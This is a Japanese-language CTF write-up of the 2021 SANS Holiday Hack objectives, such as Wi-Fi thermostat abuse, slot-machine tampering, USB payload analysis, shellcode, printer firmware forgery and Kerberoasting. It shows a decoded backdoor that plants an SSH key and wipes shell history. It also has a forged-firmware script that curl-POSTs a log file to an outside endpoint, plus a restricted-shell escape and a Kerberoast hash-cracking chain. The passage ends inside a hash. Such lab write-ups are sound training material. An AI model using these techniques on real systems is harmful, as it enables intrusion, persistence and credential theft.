2021 SANS Holiday Hack の Objective の writeup です。English report sis here.
イベントの紹介や他のchallengeのwriteup、はこちらの記事へ。
- 1) KringleCon Orientation
- 2) Where in the World is Caramel Santaigo?
- 3) Thaw Frost Tower's Entrance
- 4) Slot Machine Investigation
- 5) Strange USB Device
- 6) Shellcode Primer
- 7) Printer Exploitation
- 8) Kerberoasting on an Open Fire
- 9) Splunk!
- 10) Now Hiring!
- 11) Customer Complaint Analysis
- 12) Frost Tower Website Checkup
- 13) FPGA Programming
1) KringleCon Orientation
Get your bearings at KringleCon
この問題は、SANS Holiday Hack 初参加の人向けのオリエンテーションで、どうやって情報を集めるか、課題を見つけて取り組むか、アイテムの使い方、みたいなところを教えてくれます。
今年で二回目のチャレンジだったので、気がついたらこのObjectiveを達成していた。
2) Where in the World is Caramel Santaigo?
Help Tangle Coalbox find a wayward elf in Santa's courtyard. Talk to Piney Sappington nearby for hints.
Tangle Coalboxの近くのterminalをつけるとこんな感じ。
WHERE IN THE WORLD IS CARAMEL SANTAIGO?
Welcome! In this game you will analyze clues and track an elf around the world. Put clues about your elf in your InterRink portal. Depart by sleigh once you've figured out your next stop. Be sure to get there by Sunday, gumshoe. Good luck!
エルフとの会話からして、OSINT問題のようです。
Investigate
で得られる情報から、エルフの特徴と次に行った場所の情報を得つつ、Depart by sleigh
で次の目的地に旅立ちます。情報が全部揃ったらVisit InterRink
でElfの情報を入力して該当するエルフの名前を取得。次に行く地は地名や緯度経度、観光名所などでヒントが出ていました。
下記がエルフに関する情報で得られたヒントです。Challangeする度に内容が変わるっぽい。
- The elf mentioned something about Stack Overflow and C#
- Oh, I noticed they had a Star Trek themed phone case.
- The elf got really heated about using spaces for indents.
これらの情報でエルフをフィルタすると、Sparkle Redberry
だけが残ったのでこの子が答え。
3) Thaw Frost Tower's Entrance
Turn up the heat to defrost the entrance to Frost Tower. Click on the Items tab in your badge to find a link to the Wifi Dongle's CLI interface. Talk to Greasy Gopherguts outside the tower for tips.
Greasy GopherGuts に話しかけるとこんな感じ。
Scanning for Wi-Fi networks with iwlist will be location-dependent. You may need to move around the North Pole and keep scanning to identify a Wi-Fi network.
そう言えばWifi Dongleというアイテムを拾っていたので、近くをウロウロしながらnetworkをscanしてみます。
彼の近くの怪しげな閉じているドアの前で反応がありました!
$ iwlist scanning wlan0 Scan completed : Cell 01 - Address: 02:4A:46:68:69:21 Frequency:5.2 GHz (Channel 40) Quality=48/70 Signal level=-62 dBm Encryption key:off Bit Rates:400 Mb/s ESSID:"FROST-Nidus-Setup"
詳細を見てみます。
$ iwconfig wlan0 wlan0 IEEE 802.11 ESSID:off/any Mode:Managed Access Point: Not-Associated Tx-Power=22 dBm Retry:off RTS thr:off Fragment thr=7 B Power Management:on
接続してみます。
$ iwconfig wlan0 essid FROST-Nidus-Setup ** New network connection to Nidus Thermostat detected! Visit http://nidus-setup:8080/ to complete setup (The setup is compatible with the 'curl' utility)
やったー!wifiに繋がりました。サーバーのURLが記載されているので確認してみます。
$ curl http://nidus-setup:8080/ ◈──────────────────────────────────────────────────────────────────────────────◈ Nidus Thermostat Setup ◈──────────────────────────────────────────────────────────────────────────────◈ WARNING Your Nidus Thermostat is not currently configured! Access to this device is restricted until you register your thermostat » /register. Once you have completed registration, the device will be fully activated. In the meantime, Due to North Pole Health and Safety regulations 42 N.P.H.S 2600(h)(0) - frostbite protection, you may adjust the temperature. API The API for your Nidus Thermostat is located at http://nidus-setup:8080/apidoc
API documentを確認してみます。
$ curl http://nidus-setup:8080/apidoc ◈──────────────────────────────────────────────────────────────────────────────◈ Nidus Thermostat API ◈──────────────────────────────────────────────────────────────────────────────◈ The API endpoints are accessed via: http://nidus-setup:8080/api/<endpoint> Utilize a GET request to query information; for example, you can check the temperatures set on your cooler with: curl -XGET http://nidus-setup:8080/api/cooler Utilize a POST request with a JSON payload to configuration information; for example, you can change the temperature on your cooler using: curl -XPOST -H 'Content-Type: application/json' \ --data-binary '{"temperature": -40}' \ http://nidus-setup:8080/api/cooler ● WARNING: DO NOT SET THE TEMPERATURE ABOVE 0! That might melt important furniture Available endpoints ┌─────────────────────────────┬────────────────────────────────┐ │ Path │ Available without registering? │ ├─────────────────────────────┼────────────────────────────────┤ │ /api/cooler │ Yes │ ├─────────────────────────────┼────────────────────────────────┤ │ /api/hot-ice-tank │ No │ ├─────────────────────────────┼────────────────────────────────┤ │ /api/snow-shower │ No │ ├─────────────────────────────┼────────────────────────────────┤ │ /api/melted-ice-maker │ No │ ├─────────────────────────────┼────────────────────────────────┤ │ /api/frozen-cocoa-dispenser │ No │ ├─────────────────────────────┼────────────────────────────────┤ │ /api/toilet-seat-cooler │ No │ ├─────────────────────────────┼────────────────────────────────┤ │ /api/server-room-warmer │ No │ └─────────────────────────────┴────────────────────────────────┘
うおぉ、かっこいい…。
目的を思い出すと、ドアが凍っちゃうほど寒くなったので温めてあげるって話でしたっけ。
途中でcoolerの温度設定方法が書いてあったので、まずはそれを送ってみます。氷が溶ける…摂氏か華氏かわからんけどとりあえず0にしておこう。
$ curl -XPOST -H 'Content-Type: application/json' \ --data-binary '{"temperature": 0}' \ http://nidus-setup:8080/api/cooler
これでクリアできました👍氷が溶けてドアが空いたみたい。
4) Slot Machine Investigation
Test the security of Jack Frost's slot machines. What does the Jack Frost Tower casino security team threaten to do when your coin total exceeds 1000? Submit the string in the server data.response element. Talk to Noel Boetie outside Santa's Castle for help.
こんなスロットゲームが始まります。
普通に遊んでいるとちょっとコインを増やすことは出来ても1000までは全然届かない。
BurpSuiteで通信をProxyして、送っている値を改ざんしてみました。送っている値は
betamount=1&numline=20&cpl=0.1
こんな感じ。betamount
をマイナス値にしたら怒られたので、cpl
の方をマイナス値(-100)に変えてみたところ、creditが増えてresponseに今までと違う値が返ってきました。
このresponseが答え。
最近BurpSuiteをTryHackMeのおかげで少しずつ使っているんだけど、CookieやHeader,sessionなどの情報をそのままに、ちゃちゃっと値だけ改ざんしてリクエストを送れるのがとても良い。今更だけど確かに必須ツールだ。
5) Strange USB Device
Assist the elves in reverse engineering the strange USB device. Visit Santa's Talks Floor and hit up Jewel Loggins for advice.
サンタベーターを登ってTalkRoomに行った奥の部屋(Speaker UNPreparation Room)にある、Strange USB Device
という端末で作業します。
What is the troll username involved with this attack?
A random USB device, oh what could be the matter? It seems a troll has left this, right on a silver platter. Oh my friend I need your ken, this does not smell of attar. Help solve this challenge quick quick, I shall offer no more natter. Evaluate the USB data in /mnt/USBDEVICE.
状況を確認します。
$ ls mallard.py* $ ls /mnt/USBDEVICE/ inject.bin
このあたりが今回関係しそう。
pythonスクリプトの役割は何かしらのファイルの解析、使い方は --analysis_file
オプションで解析対象ファイルを指定ということが分かったので実行してみます。
$ cp /mnt/USBDEVICE/inject.bin . $ python mallard.py --analysis_file inject.bin ENTER DELAY 1000 GUI SPACE DELAY 500 ...(omit)... ENTER DELAY 200 STRING echo "export PATH=~/.config/sudo:$PATH" >> ~/.bashrc ENTER DELAY 200 STRING echo ==gCzlXZr9FZlpXay9Ga0VXYvg2cz5yL+BiP+AyJt92YuIXZ39Gd0N3byZ2ajFmau4WdmxGbvJHdAB3bvd2Ytl3ajlGILFESV1mWVN2SChVYTp1VhNlRyQ1UkdFZopkbS1EbHpFSwdlVRJlRVNFdwM2SGVEZnRTaihmVXJ2ZRhVWvJFSJBTOtJ2ZV12YuVlMkd2dTVGb0dUSJ5UMVdGNXl1ZrhkYzZ0ValnQDRmd1cUS6x2RJpHbHFWVClHZOpVVTpnWwQFdSdEVIJlRS9GZyoVcKJTVzwWMkBDcWFGdW1GZvJFSTJHZIdlWKhkU14UbVBSYzJXLoN3cnAyboNWZ | rev | base64 -d | bash ENTER DELAY 600 STRING history -c && rm .bash_history && exit ENTER DELAY 600 GUI q
色々気になるところはあれど、一番怪しい最後の方の長いBase64のコマンドを実行してみます。
$ echo ==gCzlXZr9FZlpXay9Ga0VXYvg2cz5yL+BiP+AyJt92YuIXZ39Gd0N3byZ2ajFmau4WdmxGbvJHdAB3bvd2Ytl3ajlGILFESV1mWVN2SChVYTp1VhNlRyQ1UkdFZopkbS1EbHpFSwdlVRJlRVNFdwM2SGVEZnRTaihmVXJ2ZRhVWvJFSJBTOtJ2ZV12YuVlMkd2dTVGb0dUSJ5UMVdGNXl1ZrhkYzZ0ValnQDRmd1cUS6x2RJpHbHFWVClHZOpVVTpnWwQFdSdEVIJlRS9GZyoVcKJTVzwWMkBDcWFGdW1GZvJFSTJHZIdlWKhkU14UbVBSYzJXLoN3cnAyboNWZ | rev | base64 -d echo 'ssh-rsa UmN5RHJZWHdrSHRodmVtaVp0d1l3U2JqZ2doRFRHTGRtT0ZzSUZNdyBUaGlzIGlzIG5vdCByZWFsbHkgYW4gU1NIIGtleSwgd2UncmUgbm90IHRoYXQgbWVhbi4gdEFKc0tSUFRQVWpHZGlMRnJhdWdST2FSaWZSaXBKcUZmUHAK ickymcgoop@trollfun.jackfrosttower.com' >> ~/.ssh/authorized_keys
最後に出てきてたuser名 ickymcgoop
が解答。
6) Shellcode Primer
Complete the Shellcode Primer in Jack's office. According to the last challenge, what is the secret to KringleCon success? "All of our speakers and organizers, providing the gift of ____, free to the community." Talk to Chimney Scissorsticks in the NetWars area for hints.
こんなサイトが用意されています。ここでshellcodeの基本が学べるみたい。
1. Introduction
すでにあるコードを実行するだけ。実行すると、こんなページが出てきて、中でのstackの様子を段階を追って確認できます。
2. Loops
これもすでにあるコードを実行するだけ。
3. Getting Started
最後にreturn ret
を追加するだけ
4. Returning a Value
rax
に値を詰めてreturn。
; TODO: Set rax to 1337 mov rax, 1337 ; Return, just like we did last time ret
5. System Calls
System callの呼出番号は Linux System Call Table for x86 64 · Ryan A. Chapman を参考にする。
sys_exit
は上記サイトにより60番ということがわかるので、60をrax
に詰めて呼び出す。
; TODO: Find the syscall number for sys_exit and put it in rax mov rax, 60 ; TODO: Put the exit_code we want (99) in rdi mov rdi, 99 ; Perform the actual syscall syscall
6. Calling Into the Void
コードを実行するだけ。ここで push
, pop
の概念と挙動が確認できる。
7. Getting RIP
ラベルの貼り方と呼び出し方を学べる。
; Remember, this call pushes the return address to the stack call place_below_the_nop ; This is where the function *thinks* it is supposed to return nop ; This is a 'label' - as far as the call knows, this is the start of a function place_below_the_nop: ; TODO: Pop the top of the stack into rax pop rax ; Return from our code, as in previous levels ret
8. Hello, World!
先程学んだラベルの定義と呼び出しを利用して、Hello Worldを返す。
; This would be a good place for a call call place_hello ; This is the literal string 'Hello World', null terminated, as code. Except ; it'll crash if it actually tries to run, so we'd better jump over it! db 'Hello World',0 ; This would be a good place for a label and a pop place_hello: pop rax ; This would be a good place for a re... oh wait, it's already here. Hooray! ret
9. Hello, World!!
今度は標準出力にHelloworldを出します。
先程のsyscall表により、 sys_write
は1番。
; TODO: Get a reference to this string into the correct register call place_hello db 'Hello World!',0 place_hello: ; Set up a call to sys_write ; TODO: Set rax to the correct syscall number for sys_write mov rax, 1 ; TODO: Set rdi to the first argument (the file descriptor, 1) mov rdi, 1 ; TODO: Set rsi to the second argument (buf - this is the "Hello World" string) pop rsi ; TODO: Set rdx to the third argument (length of the string, in bytes) mov rdx, 12 ; Perform the syscall syscall ; Return cleanly ret
10. Opening a File
ファイルをOpenする問題。ヒントの通り、9のsys_write
をsys_open
にすれば良いので、Linux System Call Table for x86 64 · Ryan A. Chapman を見て組みます。
11. Reading a File
ファイルを開いて読み出す問題。
; TODO: Get a reference to this call place_secret db '/var/northpolesecrets.txt',0 place_secret: ; TODO: Call sys_open mov rax, 2 pop rdi mov rsi, 0 mov rdx, 0 syscall ; TODO: Call sys_read on the file handle and read it into rsp mov rdi, rax mov rax, 0 mov rsi, rsp mov rdx, 500 syscall ; TODO: Call sys_write to write the contents from rsp to stdout (1) mov rax, 1 mov rdi, 1 mov rsi, rsp mov rdx, 500 syscall ; TODO: Call sys_exit mov rax, 60 mov rdi, 0 syscall
これまでの小問で得た知識を合わせれば、大体の骨格はすぐに組み上がった。sys_read
の引数を上記URLと問題文を参照して持ってくるのと、descripterがsys_openの戻り値、すなわちrax
に入っているのでそこから引っ張ってくるのが肝っぽい。ちなみにrax
の値を先に0
に書き換えてしまうやつをやっていて少しハマってしまった。
sys_write
のときのlengthは長すぎてもOK的なことが書いてあったので500にしたが、?cheat
クエリで想定解を見たところ、
mov rdx, rax
でsys_read
のときの読み込み長を持ってくることが出来たっぽい。
最後の課題をクリアしたところ、最後の課題の出力(Stdout)は
Secret to KringleCon success: all of our speakers and organizers, providing the gift of cyber security knowledge, free to the community.
となった。この中からObjectiveの虫食いのところを補足してあげればOK。
7) Printer Exploitation
Investigate the stolen Kringle Castle printer. Get shell access to read the contents of /var/spool/printer.log. What is the name of the last file printed (with a .xlsx extension)? Find Ruby Cyster in Jack's office for help with this objective.
JackのOfficeに置いてあるプリンタを触ってみます。Ruby Cysterからもらったヒントは
- まずファームウェアを見る
- 沢山のファイルを追記すると、最後のが処理される
- Hash Extension Attack
- エラーメッセージは大事
- 最後はshellにアクセスする
ということで、関係しそうなFirmware Updateのページを確認してみます。
このページをつついているうちに、何やらjson形式のupdeteファイルをuploadする必要があるらしいことがわかる。
よくよく見てみると、一番下に Download current firmware
というリンクが。
ここでDLしたファイルをいじってRCEするっぽい。
もとのfirmwareファイル firmware-export.json
を見てみると、firmwareはbasee64でエンコードされており、signature
はSHA256。まずはfirmwareに何が書いてあるのかdecodeしてみます。
$ echo "(...略...)ZmlybXdhcmUuYmluVVQFAAO4dq5hdXgLAAEEAAAAAAQAAAAAUEsFBgAAAAABAAEAUgAAALAJAAAAAA==" | base64 -D > firmware $ file firmware firmware: Zip archive data, at least v2.0 to extract
zipファイルでした。解凍してみます。
$ unzip firmware Archive: firmware inflating: firmware.bin $ file firmware.bin firmware.bin: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=fc77960dcdd5219c01440f1043b35a0ef0cce3e2, not stripped
実行ファイルだ。
色々つついているうちに(もしかしたら問題やヒントをちゃんと読めば書いてあったのかもしれないが)signatureのハッシュ値は16桁のsecret(不明)と添付のbinaryを合わせてhashしたものと推測される。
binaryだけのhashをとってどうも合わないなぁと悩んでいたけど合点。他のヒント、Hash Extension Attackにもつながる。
ヒントのHash length Extension Attackで紹介されていたリンク先を確認してみます。
今回やりたいことは、元データの <secret><original_data>
とそのハッシュ値をもとに、 <secret><original_data><attack_payload>
のハッシュ値を得ること。
ただし <secret>
の中身は不明。ハッシュアルゴリズムはSHA256。
リンク先のサマリより抜粋。
TL;DR: given a hash that is composed of a string with an unknown prefix, an attacker can append to the string and produce a new hash that still has the unknown prefix.
日本語では
未知の接頭辞を持つ文字列で構成されたハッシュがあれば、攻撃者はその文字列に追加して、未知の接頭辞を持つ新しいハッシュを生成することができます。
これはまさに Hash length Extentions Attack が使えそう!
説明を読んでいくと、ツールの紹介が。
GitHub - iagox86/hash_extender
$ git clone https://github.com/iagox86/hash_extender.git $ cd hash_extender $ make [CC] hash_extender.o [CC] tiger.o [CC] hash_extender_engine.o [CC] test.o [CC] buffer.o [CC] util.o [CC] formats.o [LD] hash_extender [CC] hash_extender_test.o [LD] hash_extender_test $ ./hash_extender --filie ../firmware.bin --secret 16 --append append --signature e0b5855c6dd61ceb1e0ae694e68f16a74adb6f87d1e9e2f78adfee688babcf23 --format sha256
適当な引数で実行してみると、それっぽいhashが生成されました。使えそう!
適当な実行ファイル append.bin
を用意して、実際にexploitのjsonを作ってUploadしてみると
Firmware update failed: Failed to parse the ZIP file: Could not extract firmware.bin from the archive: $ unzip '/tmp/20211216-1-c5n6u1' 'firmware.bin' -d '/tmp/20211216-1-c5n6u1-out' 2>&1 && /tmp/20211216-1-c5n6u1-out/firmware.bin Archive: /tmp/20211216-1-c5n6u1 warning [/tmp/20211216-1-c5n6u1]: 2608 extra bytes at beginning or within zipfile (attempting to process anyway) caution: filename not matched: firmware.bin
的なエラー分が。攻撃用の実行ファイルも、もとと同じfirmware.bin
にしないと駄目っぽい。
最終的な攻撃用の実行ファイル fimware.bin
がこちら。
curl -X POST [https://MY_ENDPOINT] --data-binary @/var/spool/printer.log
実行ファイルであれば何でも良さそうなので、まずはお手軽なshellscriptを書いてみた。
もしこれをFirmware Updateで実行してくれれば、自分の用意したEndpointに目的のファイルを送ってくれるはず。
用意したスクリプトをzipにして、新しいhashを計算してもらいます。
新しく用意したzipはhexで一度出力しておき、hash_extenderに喰わせるときはhex形式のデータで付与しました。
$ zip -r firmware.zip firmware.bin $ xxd -p firmware.zip | tr -d '\n' 504b030414000000080008bb8f53(...omitted...) $ ./hash_extender/hash_extender --file original_firmware.zip --secret 16 --signature e0b5855c6dd61ceb1e0ae694e68f16a74adb6f87d1e9e2f78adfee688babcf23 --format sha256 --append-format=hex --append "504b030414000000080008bb8f53(...omitted...)"
ここで出てきたsignatureをfirmware_exploit.json
のsignature
にセットし、stringをbase64 encodeしてfirmware
にセットします。
この状態でfirmware updateページからファイルをUploadし、暫く待つと用意したEndpointにアクセスがやってきました。
Documents queued for printing ============================= Biggering.pdf Size Chart from https://clothing.north.pole/shop/items/TheBigMansCoat.pdf LowEarthOrbitFreqUsage.txt Best Winter Songs Ever List.doc Win People and Influence Friends.pdf Q4 Game Floor Earnings.xlsx Fwd: Fwd: [EXTERNAL] Re: Fwd: [EXTERNAL] LOLLLL!!!.eml Troll_Pay_Chart.xlsx
最後のエクセルのファイル名が答え。やったー!
shellcode使わんかった…。shellcode検索したり作ったりしてだいぶ時間を溶かした…。
エンドポイント用意しなくても、ヒントで出てきた /app/lib/public/incoming
的なpathにファイルを置けば、webからアクセスできたのかも。
8) Kerberoasting on an Open Fire
Obtain the secret sleigh research document from a host on the Elf University domain. What is the first secret ingredient Santa urges each elf and reindeer to consider for a wonderful holiday season? Start by registering as a student on the ElfU Portal. Find Eve Snowshoes in Santa's office for hints.
まずは Santa's Officeに行ってEve Snowshoesに話しかけ、HOHO...No
的なターミナルをやってみます。これはTerminal側のwriteupで。
これを攻略すると、下記のヒントがもらえます。
- Stored Credentials: Administrators often store credentials in scripts. These can be coopted by an attacker for other purposes!
- Active Directory Interrogation: Investigating Active Directory errors is harder without Bloodhound, but there are native methods.
- CeWL for Wordlist Creation: CeWL can generate some great wordlists from website, but it will ignore digits in terms by default.
- Hashcat Mangling Rules: OneRuleToRuleThemAll.rule is great for mangling when a password dictionary isn't enough.
- Kerberoasting and Hashcat Syntax: Learn about Kerberoasting to leverage domain credentials to get usernames and crackable hashes for service accounts.
- Kerberoast and AD Abuse Talk: Check out Chris Davis' talk and scripts on Kerberoasting and Active Directory permissions abuse.
- Finding Domain Controllers: There will be some
10.X.X.X
networks in your routing tables that may be interesting. Also, consider adding-PS22,445
to yournmap
scans to "fix" default probing for unprivileged scans.
ヒントが多い!AD,Kerberoas関連の問題のようです。
まずは、指定された課題のURLに行ってみます。
何やら登録画面が。
適当な情報で登録してみると、grades.elfu.org:2222
への接続用UserとPasswordがもらえます。
ssh {username}@grades.elfu.org -p 2222 ElfU Domain Username: {username} ElfU Domain Password: {password} (Please save these credentials!)
早速接続してみると、アプリケーションが開きました。
このアプリではコースとグレードが閲覧できます。大学の端末という設定だからかな。機能は以上っぽい。
このプログラムをmeenuから e
で終了すると、接続も切れてしまう。Ctrl + C
で強制終了しようとすると、You may only type 'exit' to leave the exam!
と怒られる。どうやら1つ目のチャレンジは、このアプリから抜け出して制御を手に入れることみたい。
色々試してみた所、Ctrl + D
で pythonのinterpreter が立ち上がりました。これは使えそう。
>>> os.getcwd() '/home/{username}'
binshを起動してしまえ。
>>> os.system('/bin/sh') $ $ ls core $ pwd /home/{username}
制御取れた!
次に何をしてよいかよくわからなかったので、ヒントのtalk movieを見たりマシンの中を探索したりしてみます。今回はAD関係の問題のようなので、Domain Controller を探すのが筋かな。
Finding Domain Controllers のヒントを参考に、まずは自分のrouting tableを確認してみます。
$ ip route default via 172.17.0.1 dev eth0 10.128.1.0/24 via 172.17.0.1 dev eth0 10.128.2.0/24 via 172.17.0.1 dev eth0 10.128.3.0/24 via 172.17.0.1 dev eth0 172.17.0.0/16 dev eth0 proto kernel scope link src 172.17.0.2
この 10.X.X.X
に注目して、ヒントのオプションを付けてnmapしてみます。
$ nmap -PS22,445 10.128.1.0/24 Starting Nmap 7.80 ( https://nmap.org ) at 2021-12-31 08:37 UTC Nmap scan report for hhc21-windows-linux-docker.c.holidayhack2021.internal (10.128.1.4) Host is up (0.00019s latency). Not shown: 997 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 2222/tcp open EtherNetIP-1 Nmap scan report for hhc21-windows-dc.c.holidayhack2021.internal (10.128.1.53) Host is up (0.00045s latency). Not shown: 988 filtered ports PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 3389/tcp open ms-wbt-server
この 10.128.1.53
, DCとしての機能を備えてそう。
このマシンになんとか接続できないかなー、sshポートは開いてないしなー…。と眺めていると、見慣れない 135/tcp open msrpc
というポートが目に付きました。調べてみると
135, 593 - Pentesting MSRPC - HackTricks
ここに良い記事が載っていた。
Microsoft Remote Procedure Callは、ファンクションコールまたはサブルーチンコールとも呼ばれ、あるプログラムが他のコンピュータ上のプログラムからのサービスを要求するために、そのコンピュータのネットワークの詳細を理解することなく、クライアントサーバーモデルを使用するプロトコルである。
更に msrpc と linux についてググっていると、 samba
という単語が。このgradeマシンを探索しているときに、そう言えば samba という名前のモジュールが入っているっぽいことを確認していたのでした。他、rpcclient
というのも使えそう。
ここを参考に接続。
$ rpcclient 10.128.1.53 Enter WORKGROUP\{username}'s password: rpcclient $>
繋がりました!
DomainUserの一覧や、Groupの一覧、SIDやRIDの取得や権限の取得ができます。
User一覧(一部)
rpcclient $> enumdomusers user:[Administrator] rid:[0x1f4] user:[Guest] rid:[0x1f5] user:[krbtgt] rid:[0x1f6] user:[admin] rid:[0x3e8] user:[elfu_admin] rid:[0x450] user:[elfu_svc] rid:[0x451] user:[remote_elf] rid:[0x452] user:[ulyssesross] rid:[0x455] user:[bobolson] rid:[0x457] user:[raulpenrod] rid:[0x459] ... user:[test] rid:[0x60f] user:[qcljgnpsjl] rid:[0x610] ...
予め用意されていたと思われるUserと、share用のUser、registerサイトで登録したときに動的に作成されるUserが並んでいます。
Group一覧
rpcclient $> enumdomgroups group:[Enterprise Read-only Domain Controllers] rid:[0x1f2] group:[Domain Admins] rid:[0x200] group:[Domain Users] rid:[0x201] group:[Domain Guests] rid:[0x202] group:[Domain Computers] rid:[0x203] group:[Domain Controllers] rid:[0x204] group:[Schema Admins] rid:[0x206] group:[Enterprise Admins] rid:[0x207] group:[Group Policy Creator Owners] rid:[0x208] group:[Read-only Domain Controllers] rid:[0x209] group:[Cloneable Domain Controllers] rid:[0x20a] group:[Protected Users] rid:[0x20d] group:[Key Admins] rid:[0x20e] group:[Enterprise Key Admins] rid:[0x20f] group:[DnsUpdateProxy] rid:[0x44f] group:[RemoteManagementDomainUsers] rid:[0x453] group:[ResearchDepartment] rid:[0x454] group:[File Shares] rid:[0x5e7]
Groupも結構たくさんある。
あとは、talk movie にも出てきた、shareを探してみます。rpcclient
でも探せるけどsamba
を使ってみました。
$ smbclient -L 10.128.3.30 Enter WORKGROUP\{username} password: Sharename Type Comment --------- ---- ------- netlogon Disk sysvol Disk elfu_svc_shr Disk elfu_svc_shr research_dep Disk research_dep IPC$ IPC IPC Service (Samba 4.3.11-Ubuntu)
これは先程nmapで出てきた別のIP。このコメント付きのshareが怪しい気がする。
ここで行き詰まって色々試してみましたが、もう一度動画をよく見ると、流れとしてはGetUserSPNs
でKerberos認証用のpasswordハッシュを手に入れ、それをhashcatでcrackしています。他のヒントの傾向を見るに、これを試して見る価値はありそう。
この端末上にスクリプトを送り込む方法がわからなかったので、探してみます。
$ find . -name GetUserSPNs.py 2>&1 | grep -v "Permission denied" ./usr/local/bin/GetUserSPNs.py
あった!
ここで、LDAPサーバーのドメイン名がわからなかったのでもう一度nmapして調べます。
$ nmap -sT -Pn -n --open 10.128.1.53 -sV -p 389 Starting Nmap 7.80 ( https://nmap.org ) at 2022-01-07 10:32 UTC Nmap scan report for 10.128.1.53 Host is up (0.0011s latency). PORT STATE SERVICE VERSION 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: elfu.local0., Site: Default-First-Site-Name) Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 6.38 seconds
elf.local
だ。早速GetUserSPNs
を実行してみます。オプションは動画と同じ。
$ python3 /usr/local/bin/GetUserSPNs.py -outputfile spns.txt -dc-ip 10.128.1.53 elfu.local/{username}:'{password}!' -request Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation ----------------------------------- -------- -------- -------------------------- -------------------------- ---------- ldap/elfu_svc/elfu elfu_svc 2021-10-29 19:25:04.305279 2021-12-31 12:03:28.706361 ldap/elfu_svc/elfu.local elfu_svc 2021-10-29 19:25:04.305279 2021-12-31 12:03:28.706361 ldap/elfu_svc.elfu.local/elfu elfu_svc 2021-10-29 19:25:04.305279 2021-12-31 12:03:28.706361 ldap/elfu_svc.elfu.local/elfu.local elfu_svc 2021-10-29 19:25:04.305279 2021-12-31 12:03:28.706361
実行できたみたいです。成果物を見てみます。
$ cat spns.txt $krb5tgs$23$*elfu_svc$ELFU.LOCAL$elfu.local/elfu_svc*$5e4faad2759ffefe6f997b8c289d3549$6c9ca130f331117a83644edee72fa5a08cd2c9c6727e089c08a60a4...
動画と同じような出力です。どうやらelfu_svc
Userのpassword hashが取得できたみたい。このファイルは自分のマシンにコピーしておきます。
この情報からhashcatでパスワードをクラックしたいのだけど、hash関連のヒントがいくつかある。ヒントから想像するに、hashcatを実行する際に
- OneRuleToRuleThemAll.rule をruleとして指定する
- CeWL を使って辞書を作成する
- CeWL を使うときは、default設定では数値が含まれないので気をつける
というのが必要そう。
CeWLはwebsiteを指定すると、そこで使われている単語を拾ってきてくれるみたい。この問題で提供されているサイトは、最初の/register
サイトなので、これを指定して単語リストを作ってみます。
$ git clone https://github.com/digininja/CeWL.git $ cd CeWL $ ./cewl.rb https://register.elfu.org/register --with-numbers > ../cewl.txt
--with-numbers
optionを入れると、数値もターゲットにしてくれるみたい。これでそれっぽいリストが完成しました。
ではhashcatをやってみます。オプションは動画と同じ、ヒントで指定されたものだけ買えてあります。
$ git clone https://github.com/NotSoSecure/password_cracking_rules.git $ hashcat -m 13100 -a 0 spns.txt --potfile-disable -r password_cracking_rules/OneRuleToRuleThemAll.rule --force -O -w 4 --opencl-device-types 1,2 cewl.txt -o cracked.txt hashcat (v6.1.1) starting... You have enabled --force to bypass dangerous warnings and errors! This can hide serious problems and should only be done when debugging. Do not report hashcat issues encountered when using --force. OpenCL API (OpenCL 2.0 pocl 1.8 Linux, None+Asserts, RELOC, LLVM 9.0.1, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project] ==================================================================================================================================== ...(omit) $krb5tgs$23$*elfu_svc$ELFU.LOCAL$elfu.local/elfu_svc*$5e4faad2759ffefe6f997b8c289d3549$6c9ca130f331117a83644edee72fa5a08cd2c9c6727e089c08a60a470f94554f0f837ebfd137ea47c0cdc517a0e9f644e9cfaf4f491878f50f63e7d14d945ced215fa22f1264e79b2667e2aee846e34d2e501191a6dfe0c3e8fdc394c4ed15592f869d9b43ebb9ba91774bb71ff8734c285a44ad89d1f35f58c0b9589cd1abf80db7cd48a0ee72156238cc350f80cde078bfc6403f23cf4e125c5dfa9c9b668a56c21164f8ff4285248914caaedf950ef2788e0b2e09033e8652163c3786c6c49983d8b05f36cb53ff04df0f357478af6ece50e9dd84b7ddb068666b14ce065085f7bdd339c9624bd3d1906c482f180d7dc19b455c9f3e231d5ace2afe76592b928d299cd98d6e22bde94fb244954c06397211d751eba8fa4f9a107bf0dd9790790bd45b270302d044e25d0547e55702846bd6655502624374772ddca39e6a62f5ee1d499cd1096af316d4f6dac2788e26ff8974697caa4539b097148890e8cee3b1dee201a16de4054d9c8876c27d249fa8421819a6f94fc7a8b6ee6d8c652f344bd65cef035682a2019c2dcbb31efa945eebc0cb7a3b1f0c09b6af491b6895a862c5d20d599a43c2699a276362f5656f80e4ea695afc5f0a064de6dbd190574fcfebd26719664cbac06c5cfe12bfd085676d0314ebeaaa27641e4e2b32835d488bacfb593fb635bc506af2b68000f64aafb5406622907102b44c357745d24219e6f82f59f3eade12664586f6e7fcb17f58741547f34a85baa638a203551c82adaeabe16fd0cc2d7026114b56738c28884c69a7e1259fdc9de2e02300bb8a75cb63926683fab279afdb4acd86921066f62f59258fc957b98a255f5f9bd95d072383ae6f1ef09b83374eb657b9ae93920c9a3ef4971cc2edc185ca24898d0d51817bfb82edc7247a39ae2e548471343c23189792be58a255a6b4c15fc211a210a29aac83a2d263f06c5ea3f6fedc908b75eb454e0b665d8a0a037290862e4f7f55bba149313726b4c829813b7c2306b4a7afee265fecff426a1c989befb84b5374cd5d97fec8bfd609eeb60d72109c882776cb9ace7ad0be6ba20df7286076a3467285dfde108265b9997dd9f7930ff64690c764f08a608ffe25990ef97877f784667ea07e01f8a730ca4608b3da4012850be32016878bd03cb1d9c34e115517dda5d5d794a0d8845f75f70710783f2aa54ad5f8d8ba1c32df9ea3659ded4f71979a896e8e3f1333ce08ab1813043040396ad25cee8d332ecdc148a5055128d453